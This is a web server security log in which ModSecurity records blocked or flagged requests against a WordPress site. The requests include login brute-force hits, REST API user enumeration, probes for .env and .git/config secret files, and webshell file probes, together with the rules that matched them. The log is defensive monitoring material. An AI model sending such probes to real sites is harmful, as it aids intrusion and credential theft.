[Sat May 16 21:28:17.783188 2026] [:error] [pid 62210:tid 62216] [client 150.228.11.72:58975] [client 150.228.11.72] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aghw8cjHonCA4ORo40HTUgAAAkQ"]
[Sat May 16 21:28:50.123366 2026] [:error] [pid 24869:tid 24910] [client 150.228.11.72:32849] [client 150.228.11.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.11.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aghxEuxo3FMprMltYl479QAAAEI"]
[Sat May 16 22:02:39.485618 2026] [:error] [pid 24979:tid 24990] [client 47.251.53.97:54412] [client 47.251.53.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.251.53.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agh4_7vSFUQiwLaOL2qvJQAAAMk"]
[Sat May 16 22:02:42.921279 2026] [:error] [pid 24979:tid 24998] [client 47.251.53.97:54412] [client 47.251.53.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.251.53.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agh5ArvSFUQiwLaOL2qvJwAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 22:29:29.616690 2026] [:error] [pid 61361:tid 61375] [client 69.57.160.88:37568] [client 69.57.160.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.160.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agh_SZZojzbt3jGziNmOVQAAAUw"]
[Sat May 16 22:29:33.347014 2026] [:error] [pid 61361:tid 61365] [client 69.57.160.88:37568] [client 69.57.160.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.160.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agh_TZZojzbt3jGziNmOVwAAAUI"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 22:57:47.575943 2026] [:error] [pid 24979:tid 24985] [client 35.245.188.31:60680] [client 35.245.188.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.245.188.31, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agiF67vSFUQiwLaOL2q0dgAAAMQ"]
[Sat May 16 22:57:49.053176 2026] [:error] [pid 24979:tid 24991] [client 35.245.188.31:60680] [client 35.245.188.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.245.188.31, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agiF7bvSFUQiwLaOL2q0dwAAAMo"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 00:12:18.571788 2026] [:error] [pid 24874:tid 24939] [client 101.33.55.204:55786] [client 101.33.55.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agiXYsiii6x3XidYGHHp3AAAAIQ"]
[Sun May 17 00:18:45.474727 2026] [:error] [pid 61463:tid 61485] [client 182.93.80.120:42170] [client 182.93.80.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agiY5TXdL1WU7nYXPmQBwAAAAdQ"]
[Sun May 17 00:22:00.641183 2026] [:error] [pid 62341:tid 62364] [client 209.74.88.30:49226] [client 209.74.88.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.88.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agiZqKnvQ59ep-XG78jQ1wAAApI"]
[Sun May 17 01:41:55.872382 2026] [:error] [pid 24979:tid 24990] [client 162.55.247.232:40792] [client 162.55.247.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.55.247.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agisY7vSFUQiwLaOL2rEWQAAAMk"]
[Sun May 17 01:41:56.837972 2026] [:error] [pid 24979:tid 24984] [client 162.55.247.232:40792] [client 162.55.247.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.55.247.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agisZLvSFUQiwLaOL2rEWgAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 02:07:28.228929 2026] [:error] [pid 61411:tid 61432] [client 159.195.63.148:41654] [client 159.195.63.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.195.63.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agiyYGVkiEwGnPL_dvFD3gAAAZM"]
[Sun May 17 02:07:29.187491 2026] [:error] [pid 61411:tid 61429] [client 159.195.63.148:41654] [client 159.195.63.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.195.63.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agiyYWVkiEwGnPL_dvFD3wAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 03:28:12.951661 2026] [:error] [pid 28359:tid 28417] [client 209.38.251.46:36876] [client 209.38.251.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.251.46, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agjFTPdIBN0-Em6-I-eBwgAAAFU"]
[Sun May 17 03:28:13.933127 2026] [:error] [pid 28359:tid 28403] [client 209.38.251.46:36876] [client 209.38.251.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.251.46, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agjFTfdIBN0-Em6-I-eBwwAAAEc"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 04:51:07.242792 2026] [:error] [pid 59060:tid 59075] [client 122.51.236.174:49228] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agjYu_vwvq3bndkPE4m-bQAAAAY"]
[Sun May 17 05:06:36.989876 2026] [:error] [pid 36652:tid 36660] [client 170.106.165.186:45416] [client 170.106.165.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agjcXDZrzQadnZADvj8A6AAAAQY"]
[Sun May 17 05:06:37.127696 2026] [:error] [pid 59062:tid 59135] [client 69.57.160.88:50456] [client 69.57.160.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.160.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agjcXT4V9GkVWmCFmGayqAAAAIw"]
[Sun May 17 05:06:38.585942 2026] [:error] [pid 59062:tid 59147] [client 69.57.160.88:50456] [client 69.57.160.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.160.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agjcXj4V9GkVWmCFmGayqQAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 05:26:22.265613 2026] [:error] [pid 59166:tid 59172] [client 157.15.40.86:53066] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "agjg_k_puQ1I47_0UrioAAAAAMQ"]
[Sun May 17 05:26:23.668892 2026] [:error] [pid 59166:tid 59172] [client 157.15.40.86:53209] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/txets.php"] [unique_id "agjg_0_puQ1I47_0UrioCAAAAMQ"]
[Sun May 17 05:26:32.954041 2026] [:error] [pid 59166:tid 59180] [client 157.15.40.86:54087] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/txets.php"] [unique_id "agjhCE_puQ1I47_0UrioGwAAAMw"]
[Sun May 17 05:26:33.231037 2026] [:error] [pid 36652:tid 36657] [client 157.15.40.86:54107] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "agjhCTZrzQadnZADvj8E3AAAAQM"]
[Sun May 17 05:26:34.325859 2026] [:error] [pid 36652:tid 36676] [client 157.15.40.86:54164] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/schallfuns.php"] [unique_id "agjhCjZrzQadnZADvj8E3gAAARY"]
[Sun May 17 05:26:34.597967 2026] [:error] [pid 59062:tid 59147] [client 157.15.40.86:54183] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "agjhCj4V9GkVWmCFmGa0vAAAAJg"]
[Sun May 17 05:26:35.424355 2026] [:error] [pid 59062:tid 59142] [client 157.15.40.86:54242] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/postnews.php"] [unique_id "agjhCz4V9GkVWmCFmGa0wwAAAJM"]
[Sun May 17 05:26:44.706181 2026] [:error] [pid 36652:tid 36677] [client 157.15.40.86:54266] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/postnews.php"] [unique_id "agjhFDZrzQadnZADvj8E9wAAARc"]
[Sun May 17 05:26:46.487564 2026] [:error] [pid 36652:tid 36664] [client 157.15.40.86:54951] [client 157.15.40.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/postnews.php"] [unique_id "agjhFjZrzQadnZADvj8E-wAAAQo"]
[Sun May 17 05:35:23.650599 2026] [:error] [pid 59060:tid 59073] [client 43.130.106.18:56826] [client 43.130.106.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agjjG_vwvq3bndkPE4nBdQAAAAQ"]
[Sun May 17 05:51:39.996482 2026] [:error] [pid 59166:tid 59182] [client 93.123.109.15:37588] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agjm60_puQ1I47_0UrirUgAAAM4"]
[Sun May 17 05:52:00.893422 2026] [:error] [pid 59166:tid 59170] [client 93.123.109.15:35996] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "agjnAE_puQ1I47_0UrirZwAAAMI"]
[Sun May 17 05:52:05.020108 2026] [:error] [pid 59060:tid 59074] [client 93.123.109.15:33934] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/portal/.env"] [unique_id "agjnBfvwvq3bndkPE4nDFgAAAAU"]
[Sun May 17 05:52:06.138957 2026] [:error] [pid 36652:tid 36677] [client 93.123.109.15:33950] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/env/.env"] [unique_id "agjnBjZrzQadnZADvj8KMgAAARc"]
[Sun May 17 05:52:07.265205 2026] [:error] [pid 59062:tid 59136] [client 93.123.109.15:33954] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "agjnBz4V9GkVWmCFmGa4rQAAAI0"]
[Sun May 17 05:52:08.252771 2026] [:error] [pid 59060:tid 59086] [client 93.123.109.15:45334] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "agjnCPvwvq3bndkPE4nDGAAAABE"]
[Sun May 17 05:52:09.239616 2026] [:error] [pid 59062:tid 59129] [client 93.123.109.15:45340] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/dev/.env"] [unique_id "agjnCT4V9GkVWmCFmGa4rwAAAIY"]
[Sun May 17 05:52:10.200641 2026] [:error] [pid 59061:tid 59118] [client 93.123.109.15:45342] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/new/.env"] [unique_id "agjnCoYS410zAmsYkoLzEAAAAFY"]
[Sun May 17 05:52:11.172027 2026] [:error] [pid 59060:tid 59081] [client 93.123.109.15:45350] [client 93.123.109.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/new/.env.local"] [unique_id "agjnC_vwvq3bndkPE4nDGgAAAAw"]
[Sun May 17 06:02:21.449181 2026] [:error] [pid 59166:tid 59183] [client 34.82.56.183:39152] [client 34.82.56.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agjpbU_puQ1I47_0Uris8QAAAM8"]
[Sun May 17 06:14:05.434228 2026] [:error] [pid 59166:tid 59182] [client 164.52.218.210:38810] [client 164.52.218.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.52.218.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agjsLU_puQ1I47_0UriuSwAAAM4"]
[Sun May 17 06:14:06.559311 2026] [:error] [pid 59166:tid 59170] [client 164.52.218.210:38810] [client 164.52.218.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.52.218.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agjsLk_puQ1I47_0UriuTQAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 06:19:55.066750 2026] [:error] [pid 59166:tid 59175] [client 103.153.183.69:52504] [client 103.153.183.69] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agjti0_puQ1I47_0UrivzwAAAMc"]
[Sun May 17 06:19:55.066837 2026] [:error] [pid 59166:tid 59175] [client 103.153.183.69:52504] [client 103.153.183.69] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agjti0_puQ1I47_0UrivzwAAAMc"]
[Sun May 17 06:51:09.084416 2026] [:error] [pid 59061:tid 59106] [client 92.118.39.29:40078] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agj03YYS410zAmsYkoL4pgAAAEo"]
[Sun May 17 07:36:03.402972 2026] [:error] [pid 59060:tid 59070] [client 31.57.184.107:49906] [client 31.57.184.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.57.184.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agj_Y_vwvq3bndkPE4nKagAAAAE"]
[Sun May 17 07:36:12.036529 2026] [:error] [pid 59060:tid 59078] [client 31.57.184.107:49906] [client 31.57.184.107] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agj_bPvwvq3bndkPE4nKcAAAAAk"]
[Sun May 17 07:36:12.313869 2026] [:error] [pid 59060:tid 59082] [client 31.57.184.107:49906] [client 31.57.184.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.57.184.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agj_bPvwvq3bndkPE4nKcQAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 07:36:16.303292 2026] [:error] [pid 59060:tid 59090] [client 31.57.184.107:49906] [client 31.57.184.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.57.184.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agj_cPvwvq3bndkPE4nKdAAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 07:36:19.139765 2026] [:error] [pid 59060:tid 59091] [client 31.57.184.107:49906] [client 31.57.184.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.57.184.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agj_c_vwvq3bndkPE4nKdgAAABY"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 07:46:09.329133 2026] [:error] [pid 36652:tid 36659] [client 46.62.173.211:43792] [client 46.62.173.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.173.211, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkBwTZrzQadnZADvj8eYAAAAQU"]
[Sun May 17 07:46:10.964733 2026] [:error] [pid 36652:tid 36661] [client 46.62.173.211:43792] [client 46.62.173.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.173.211, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agkBwjZrzQadnZADvj8eYgAAAQc"], referer: https://rcacivilgroup.com/wp-login.php
